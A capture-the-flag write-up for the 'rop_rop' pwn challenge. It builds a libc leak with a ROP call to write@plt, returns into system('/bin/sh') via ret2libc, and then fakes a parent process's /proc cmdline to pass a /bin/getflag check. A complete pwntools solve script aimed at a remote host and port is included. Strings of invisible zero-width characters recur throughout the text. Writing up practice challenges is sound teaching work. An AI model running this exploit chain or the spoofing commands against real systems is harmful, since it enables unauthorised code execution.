← Back to Writeups
CUSTOMMediumpwn

pwn4 rop_rop

XESXOR9/2/20265 min read
#pwn#custom#medium#function_reentry#libc_base_from_got#movaps_alignment#parent_cmdline_spoof#ret2libc#rop_got_leak#linux

pwn4 rop_rop

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: function_reentry, libc_base_from_got, movaps_alignment, parent_cmdline_spoof, ret2libc, rop_got_leak

Summary

Task: NON-PIE x86-64 ELF with NX/no-canary, stack overflow in read() but NO leak helper and NO win function — only write/read/setvbuf in PLT. Solution: build the libc leak yourself with a ROP write@plt(1, write@got, 8), re-enter logic() for a second read, compute libc-2.31 base, then ret2libc system("/bin/sh"); satisfy /bin/getflag via the getppid /proc/cmdline parent-spoof trick.

pwn4 rop_rop — pwn_spbctf

Description

Can you pwn it?

A 64-bit x86-64 ELF (rop_rop / task) on pwn.spbctf.ru, remote nc 109.233.56.90 11653, tier pwn4 "shellcoding". Provided: the binary and libc-2.31.so. Goal: pop a shell and read the flag via the platform /bin/getflag helper. Flag submitted via POST flag, tile → "solved tile".

Analysis

checksec: NON-PIE (loaded at 0x400000), NX enabled, no stack canary, partial RELRO.

The crucial constraint: there is no leak function and no win function. The only libc imports reachable via PLT are write, read, and setvbuf. So we must manufacture our own infoleak. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Control flow:

  • main @0x400630: calls setvbuf twice (unbuffered stdin/stdout), write(1, 0x400734, 3) prints a 3-byte banner, stores a dummy 0xc35ac3c9 at [rbp-0x10], then call logic().
  • logic @0x400600: read(0, buf=[rbp-0x20], 0x100) — a classic stack overflow (reads 0x100 bytes into a 0x20-byte buffer). Offset from buf to the saved return address is 0x28.

Useful gadgets present in the NON-PIE binary text:

0x400713 : pop rdi ; ret
0x400711 : pop rsi ; pop r15 ; ret
0x400693 : pop rdx ; ret
0x4004c6 : ret              # movaps alignment

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Because the binary is non-PIE, all gadget/PLT/GOT addresses are fixed (no binary leak needed). The binary conveniently has clean pop rsi;pop r15;ret and pop rdx;ret gadgets, so we can set all three System V argument registers directly. (If those were missing, the __libc_csu_init "universal" gadget — mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+8*rbx] with rbx=0 — would serve the same purpose to control rsi/rdx/edi for the write call.)

Solution

Two-stage manual-leak + ret2libc: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 1 — build the leak

There is no helper that prints a libc pointer, so we ROP-call write@plt(1, write@got, 8) to dump the resolved libc address of write out of the GOT. After the leak we re-enter logic() (return into its symbol) so the vulnerable read() runs again, giving us a clean second-stage overflow.

python
off = 0x28
chain  = b'A'*off
chain += p64(POP_RDI) + p64(1)                       # fd = 1
chain += p64(POP_RSI_R15) + p64(WRITE_GOT) + p64(0)  # buf = write@got
chain += p64(POP_RDX) + p64(8)                        # count = 8
chain += p64(WRITE_PLT)                               # write(1, write@got, 8)
chain += p64(LOGIC)                                   # re-enter logic() for stage 2
io.send(chain.ljust(0x100, b'\x90'))
base = u64(io.recv(8).ljust(8, b'\0')) - libc.sym['write']

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 2 — ret2libc system("/bin/sh")

With the libc base known (from libc-2.31.so), the second overflow returns into system("/bin/sh"). A bare ret is inserted before the call to fix the 16-byte stack alignment that system's movaps instructions require. The payload is padded to 0x100 and stdin is kept open so the shell stays interactive.

python
system = base + libc.sym['system']
binsh  = base + next(libc.search(b'/bin/sh\x00'))
chain2 = b'A'*off + p64(RET) + p64(POP_RDI) + p64(binsh) + p64(system)
io.send(chain2.ljust(0x100, b'\x90'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Getting the flag — /bin/getflag parent-cmdline spoof

The platform /bin/getflag (same mechanism as the sibling rop_shellcode task) does not trust the caller directly: it reads getppid() and compares /proc/<ppid>/cmdline against a fixed magic byte string:

sh\0-c\0x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1

So getflag only prints the flag when its parent process has exactly that argv. From the shell we forge such a parent: drop a fake x86_64 launcher in a writable PATH dir that execs /bin/getflag, then invoke it through sh -c with the magic argv so that getflag's parent cmdline matches. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sh
# in the popped shell
cat > /tmp/x86_64 <<'EOF'
#!/bin/sh
exec /bin/getflag
EOF
chmod +x /tmp/x86_64
PATH=/tmp:$PATH sh -c 'x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1'

The sh -c '...' process becomes getflag's parent; its /proc/<ppid>/cmdline equals the expected magic string → getflag prints the flag.

Full solve script

python
#!/usr/bin/env python3
# rop_rop: leak libc via write(1, write@got, 8); re-enter logic; system("/bin/sh");
# then from the shell, spawn getflag with a parent whose /proc/<pid>/cmdline equals
# the magic string getflag's memcmp expects:
#   "sh\0-c\0x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1"
from pwn import *
import sys
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11653

e    = ELF('rop_rop', checksec=False)
libc = ELF('rop_rop_libc.so', checksec=False)   # == libc-2.31.so

POP_RDI     = 0x400713      # pop rdi ; ret
POP_RSI_R15 = 0x400711      # pop rsi ; pop r15 ; ret
POP_RDX     = 0x400693      # pop rdx ; ret
RET         = 0x4004c6      # ret (movaps alignment)
WRITE_PLT   = e.plt['write']
LOGIC       = e.sym['logic']
WRITE_GOT   = e.got['write']

CMD = sys.argv[1].encode() if len(sys.argv) > 1 else b'cat /flag.txt /flag 2>/dev/null'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.recv(timeout=1)
off = 0x28

# STAGE 1: write(1, write@got, 8) then re-enter logic() for stage 2
c = b'A'*off + p64(POP_RDI)+p64(1) + p64(POP_RSI_R15)+p64(WRITE_GOT)+p64(0) \
    + p64(POP_RDX)+p64(8) + p64(WRITE_PLT) + p64(LOGIC)
io.send(c.ljust(0x100, b'\x90'))
base = u64(io.recv(8, timeout=3).ljust(8, b'\0')) - libc.sym['write']
log.success("libc base = %#x" % base)

system = base + libc.sym['system']
binsh  = base + next(libc.search(b'/bin/sh\x00'))

# STAGE 2: ret2libc system("/bin/sh"); RET fixes movaps 16-byte alignment
c2 = b'A'*off + p64(RET) + p64(POP_RDI)+p64(binsh) + p64(system)
io.send(c2.ljust(0x100, b'\x90'))
sleep(0.5)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# In the shell: forge getflag's parent cmdline (getppid /proc/cmdline check)
getflag = (
    "cat > /tmp/x86_64 <<'EOF'\n"
    "#!/bin/sh\n"
    "exec /bin/getflag\n"
    "EOF\n"
    "chmod +x /tmp/x86_64\n"
    "PATH=/tmp:$PATH sh -c 'x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1'\n"
)
io.send(getflag.encode())
sleep(1.5)
print(b"OUTPUT:\n" + io.recv(timeout=4))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍